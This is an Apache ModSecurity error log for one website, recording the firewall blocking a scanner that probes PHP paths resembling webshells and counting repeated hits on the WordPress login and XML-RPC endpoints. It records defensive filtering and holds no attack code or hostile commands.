[Wed Dec 10 18:58:41.944824 2025] [:error] [pid 49095:tid 49118] [client 20.187.91.171:54413] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aTlSYcorr4Jt2Tfx_EbJcAAAAVU"]
[Wed Dec 10 18:58:43.645041 2025] [:error] [pid 36975:tid 36998] [client 20.187.91.171:56437] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aTlSY9_ZNQ3zMmb38BFUjAAAAJI"]
[Wed Dec 10 18:58:45.104007 2025] [:error] [pid 36976:tid 37018] [client 20.187.91.171:14006] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aTlSZSSpHW5KVaY9tJmMIgAAAMs"]
[Wed Dec 10 18:58:46.399629 2025] [:error] [pid 46868:tid 46875] [client 20.187.91.171:54402] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aTlSZo3NdlN2GOOyBjFixQAAAQU"]
[Wed Dec 10 18:58:47.163842 2025] [:error] [pid 37062:tid 37082] [client 20.187.91.171:56901] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aTlSZzB0I62HCw8Z5BRDLAAAABI"]
[Wed Dec 10 18:58:49.342776 2025] [:error] [pid 49095:tid 49118] [client 20.187.91.171:54446] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aTlSacorr4Jt2Tfx_EbJeQAAAVU"]
[Wed Dec 10 18:58:50.434130 2025] [:error] [pid 36976:tid 37007] [client 20.187.91.171:13984] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aTlSaiSpHW5KVaY9tJmMKgAAAMA"]
[Wed Dec 10 18:58:51.055608 2025] [:error] [pid 36976:tid 37023] [client 20.187.91.171:56937] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aTlSaySpHW5KVaY9tJmMLAAAANA"]
[Wed Dec 10 18:58:51.894044 2025] [:error] [pid 36976:tid 37027] [client 20.187.91.171:18466] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aTlSaySpHW5KVaY9tJmMLQAAANQ"]
[Wed Dec 10 18:58:53.038666 2025] [:error] [pid 37062:tid 37076] [client 20.187.91.171:56899] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aTlSbTB0I62HCw8Z5BRDLwAAAAw"]
[Wed Dec 10 18:58:54.042374 2025] [:error] [pid 49095:tid 49102] [client 20.187.91.171:56746] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aTlSbsorr4Jt2Tfx_EbJfgAAAUU"]
[Wed Dec 10 18:58:54.455844 2025] [:error] [pid 36977:tid 37037] [client 20.187.91.171:56708] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aTlSbsc-JLl-uoL-Au6oPAAAAEM"]
[Wed Dec 10 18:58:55.314801 2025] [:error] [pid 36977:tid 37051] [client 20.187.91.171:40478] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aTlSb8c-JLl-uoL-Au6oPQAAAFE"]
[Wed Dec 10 18:58:56.079452 2025] [:error] [pid 36977:tid 37042] [client 20.187.91.171:14001] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aTlScMc-JLl-uoL-Au6oPgAAAEg"]
[Wed Dec 10 18:58:56.712319 2025] [:error] [pid 49095:tid 49103] [client 20.187.91.171:43544] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aTlScMorr4Jt2Tfx_EbJggAAAUY"]
[Wed Dec 10 18:58:57.170511 2025] [:error] [pid 36976:tid 37013] [client 20.187.91.171:57317] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aTlScSSpHW5KVaY9tJmMMwAAAMY"]
[Wed Dec 10 18:58:57.718011 2025] [:error] [pid 36976:tid 37026] [client 20.187.91.171:50191] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aTlScSSpHW5KVaY9tJmMNAAAANM"]
[Wed Dec 10 18:58:58.099841 2025] [:error] [pid 36975:tid 36994] [client 20.187.91.171:57308] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aTlSct_ZNQ3zMmb38BFUkgAAAI4"]
[Wed Dec 10 18:58:58.519817 2025] [:error] [pid 36975:tid 36991] [client 20.187.91.171:57282] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aTlSct_ZNQ3zMmb38BFUkwAAAIs"]
[Wed Dec 10 18:58:59.151034 2025] [:error] [pid 49095:tid 49117] [client 20.187.91.171:40475] [client 20.187.91.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aTlSc8orr4Jt2Tfx_EbJhAAAAVQ"]
[Wed Dec 10 18:58:59.961761 2025] [:error] [pid 36976:tid 37018] [client 20.187.91.171:56737] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/index/function.php"] [unique_id "aTlScySpHW5KVaY9tJmMNgAAAMs"]
[Wed Dec 10 18:59:00.434371 2025] [:error] [pid 36976:tid 37010] [client 20.187.91.171:34923] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/index/function.php"] [unique_id "aTlSdCSpHW5KVaY9tJmMNwAAAMM"]
[Wed Dec 10 18:59:00.905876 2025] [:error] [pid 49095:tid 49114] [client 20.187.91.171:61319] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/index/function.php"] [unique_id "aTlSdMorr4Jt2Tfx_EbJhQAAAVE"]
[Wed Dec 10 18:59:01.723329 2025] [:error] [pid 36977:tid 37034] [client 20.187.91.171:43537] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/index/function.php"] [unique_id "aTlSdcc-JLl-uoL-Au6oQAAAAEA"]
[Wed Dec 10 18:59:02.243179 2025] [:error] [pid 49095:tid 49104] [client 20.187.91.171:61352] [client 20.187.91.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/rk2.php"] [unique_id "aTlSdsorr4Jt2Tfx_EbJhgAAAUc"]
[Wed Dec 10 18:59:02.964589 2025] [:error] [pid 49095:tid 49100] [client 20.187.91.171:61360] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/license.php"] [unique_id "aTlSdsorr4Jt2Tfx_EbJhwAAAUM"]
[Wed Dec 10 18:59:03.969942 2025] [:error] [pid 36975:tid 36988] [client 20.187.91.171:43555] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/license.php"] [unique_id "aTlSd9_ZNQ3zMmb38BFUlAAAAIg"]
[Wed Dec 10 18:59:04.722772 2025] [:error] [pid 36977:tid 37044] [client 20.187.91.171:56717] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/license.php"] [unique_id "aTlSeMc-JLl-uoL-Au6oQQAAAEo"]
[Wed Dec 10 18:59:05.594226 2025] [:error] [pid 46868:tid 46889] [client 20.187.91.171:14269] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/license.php"] [unique_id "aTlSeY3NdlN2GOOyBjFiygAAARM"]
[Wed Dec 10 18:59:06.794302 2025] [:error] [pid 36976:tid 37025] [client 20.187.91.171:34912] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/radio.php"] [unique_id "aTlSeiSpHW5KVaY9tJmMOgAAANI"]
[Wed Dec 10 18:59:07.597400 2025] [:error] [pid 37062:tid 37069] [client 20.187.91.171:34321] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/radio.php"] [unique_id "aTlSezB0I62HCw8Z5BRDNQAAAAU"]
[Wed Dec 10 18:59:07.895753 2025] [:error] [pid 36977:tid 37049] [client 20.187.91.171:57319] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/radio.php"] [unique_id "aTlSe8c-JLl-uoL-Au6oQwAAAE8"]
[Wed Dec 10 18:59:08.705088 2025] [:error] [pid 36977:tid 37050] [client 20.187.91.171:14254] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/radio.php"] [unique_id "aTlSfMc-JLl-uoL-Au6oRAAAAFA"]
[Wed Dec 10 18:59:09.726491 2025] [:error] [pid 37062:tid 37079] [client 20.187.91.171:57299] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aTlSfTB0I62HCw8Z5BRDNgAAAA8"]
[Wed Dec 10 18:59:11.211602 2025] [:error] [pid 36977:tid 37058] [client 20.187.91.171:54502] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aTlSf8c-JLl-uoL-Au6oRQAAAFg"]
[Wed Dec 10 18:59:12.212922 2025] [:error] [pid 36975:tid 36998] [client 20.187.91.171:54488] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aTlSgN_ZNQ3zMmb38BFUlwAAAJI"]
[Wed Dec 10 18:59:13.094076 2025] [:error] [pid 36975:tid 36996] [client 20.187.91.171:41037] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aTlSgd_ZNQ3zMmb38BFUmAAAAJA"]
[Wed Dec 10 18:59:14.981611 2025] [:error] [pid 36975:tid 37000] [client 20.187.91.171:14218] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfanew.php"] [unique_id "aTlSgt_ZNQ3zMmb38BFUmQAAAJQ"]
[Wed Dec 10 18:59:15.877349 2025] [:error] [pid 36975:tid 36992] [client 20.187.91.171:54490] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfanew.php"] [unique_id "aTlSg9_ZNQ3zMmb38BFUmwAAAIw"]
[Wed Dec 10 18:59:16.382526 2025] [:error] [pid 49095:tid 49099] [client 20.187.91.171:34941] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfanew.php"] [unique_id "aTlShMorr4Jt2Tfx_EbJjAAAAUI"]
[Wed Dec 10 18:59:16.900769 2025] [:error] [pid 36975:tid 37001] [client 20.187.91.171:14256] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfanew.php"] [unique_id "aTlShN_ZNQ3zMmb38BFUngAAAJU"]
[Wed Dec 10 18:59:17.516108 2025] [:error] [pid 36976:tid 37008] [client 20.187.91.171:57283] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/znz2ra.php"] [unique_id "aTlShSSpHW5KVaY9tJmMOwAAAME"]
[Wed Dec 10 18:59:18.464212 2025] [:error] [pid 46868:tid 46874] [client 20.187.91.171:41077] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/znz2ra.php"] [unique_id "aTlSho3NdlN2GOOyBjFi0AAAAQQ"]
[Wed Dec 10 18:59:18.896051 2025] [:error] [pid 49095:tid 49105] [client 20.187.91.171:34899] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/znz2ra.php"] [unique_id "aTlShsorr4Jt2Tfx_EbJjgAAAUg"]
[Wed Dec 10 18:59:20.198760 2025] [:error] [pid 37062:tid 37068] [client 20.187.91.171:34353] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/znz2ra.php"] [unique_id "aTlSiDB0I62HCw8Z5BRDOgAAAAQ"]
[Wed Dec 10 18:59:21.872874 2025] [:error] [pid 49095:tid 49119] [client 20.187.91.171:57336] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/style.php"] [unique_id "aTlSicorr4Jt2Tfx_EbJkgAAAVY"]
[Wed Dec 10 20:52:17.351530 2025] [:error] [pid 36976:tid 37024] [client 208.112.26.138:37146] [client 208.112.26.138] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 208.112.26.138, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTltASSpHW5KVaY9tJmt-AAAANE"]
[Wed Dec 10 21:01:54.493757 2025] [:error] [pid 37062:tid 37077] [client 103.218.122.183:40650] [client 103.218.122.183] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.218.122.183, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTlvQjB0I62HCw8Z5BRh5AAAAA0"]
[Wed Dec 10 21:01:57.851606 2025] [:error] [pid 37062:tid 37082] [client 103.218.122.183:40650] [client 103.218.122.183] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.218.122.183, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTlvRTB0I62HCw8Z5BRh6AAAABI"], referer: https://gigfragments.org/wp-login.php
[Wed Dec 10 22:07:46.390755 2025] [:error] [pid 36975:tid 36993] [client 92.205.48.162:57066] [client 92.205.48.162] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 92.205.48.162, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTl-st_ZNQ3zMmb38BF_-AAAAI0"]
[Wed Dec 10 22:07:51.559410 2025] [:error] [pid 36975:tid 36989] [client 92.205.48.162:57066] [client 92.205.48.162] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 92.205.48.162, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTl-t9_ZNQ3zMmb38BF__wAAAIk"], referer: https://gigfragments.org/wp-login.php
[Wed Dec 10 22:29:05.886991 2025] [:error] [pid 36977:tid 37057] [client 179.108.84.136:45260] [client 179.108.84.136] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 179.108.84.136, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTmDscc-JLl-uoL-Au7X5gAAAFc"]
[Wed Dec 10 22:29:38.179898 2025] [:error] [pid 49095:tid 49098] [client 179.108.84.136:51728] [client 179.108.84.136] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 179.108.84.136, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTmD0sorr4Jt2Tfx_EYdbgAAAUE"], referer: https://gigfragments.org/wp-login.php
[Wed Dec 10 23:09:59.151691 2025] [:error] [pid 37062:tid 37085] [client 72.29.178.86:57778] [client 72.29.178.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 72.29.178.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTmNRzB0I62HCw8Z5BSDMgAAABU"]
[Wed Dec 10 23:48:23.776108 2025] [:error] [pid 36975:tid 37000] [client 43.138.68.113:38038] [client 43.138.68.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aTmWR9_ZNQ3zMmb38BGV2QAAAJQ"]
[Thu Dec 11 00:07:36.104798 2025] [:error] [pid 46868:tid 46872] [client 151.237.138.152:41580] [client 151.237.138.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 151.237.138.152, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTmayI3NdlN2GOOyBjGlHgAAAQI"]
